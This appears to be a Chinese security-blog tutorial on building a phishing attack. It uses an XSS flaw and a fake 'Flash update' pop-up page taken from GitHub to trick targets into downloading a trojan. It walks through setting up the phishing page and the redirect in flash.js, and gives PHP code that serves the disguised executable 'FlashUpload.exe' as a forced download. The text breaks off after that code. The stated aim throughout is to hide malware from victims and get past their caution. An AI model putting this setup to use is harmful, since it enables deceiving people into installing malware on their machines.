本文由掌控安全学院 - doomkij 投稿

前言

前几天看了一篇土司的实战文章，操作骚的一批，而且师傅把钓鱼源码传到了github上我拿过来研究一下

免杀钓鱼的手法百试不爽，很多情况下比0day要好用很多，尤其是针对目标网站实在是没有什么可利用的漏洞的时候。
我们本次设想的环境是能够找到xss，这个漏洞不难找的，很多大厂也无法避免这种漏洞，骚就骚在怎么利用这个漏洞将我们的木马加以隐藏，因为正常情况下一个跟你不是很熟的人很难点我们直接发过去的马，即便是做过伪装的。

一、环境搭建

首先一台服务器，搭建我们的钓鱼页面，钓鱼页面也是表哥给的
https://github.com/r00tSe7en/Flash-Pop
我们拿来之后安装到服务器上

这里flash.js中的location.href会帮我们跳转到指定位置

访问尝试：

是不是很逼真呢哈哈
目标点击立即升级之后就会跳转到我们的链接

二、配置木马下载

我们要的效果是点击立即升级之后木马会立即下载，其次页面要做的逼真不能穿帮
配置访问下载的php

<?php
header("Content-type:text/html;charset=utf-8");
$file_name="FlashUpload.exe";
//解决中文不能显示出来的问题
$file_name=iconv("utf-8","gb2312",$file_name);
$path1=$_SERVER['DOCUMENT_ROOT'];
$filepath=$path1."/".$file_name;
//判断文件是否存在
if(!file_exists($filepath)){
echo "没有该文件文件";
return ;
}
$fp=fopen($filepath,"r");
$file_size=filesize($filepath);
//下载文件需要用到的头
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length:".$file_size);
Header("Content-Disposition: attachment; filename=".$file_name);
$buffer=1024;
$file_count=0;
//向浏览器返回数据
while(!feof($fp) && $file_count<$file_size){
$file_con=fread($fp,$buffer);
$file_count+=$buffer;
echo $file_con;
}
fclose($fp);
?>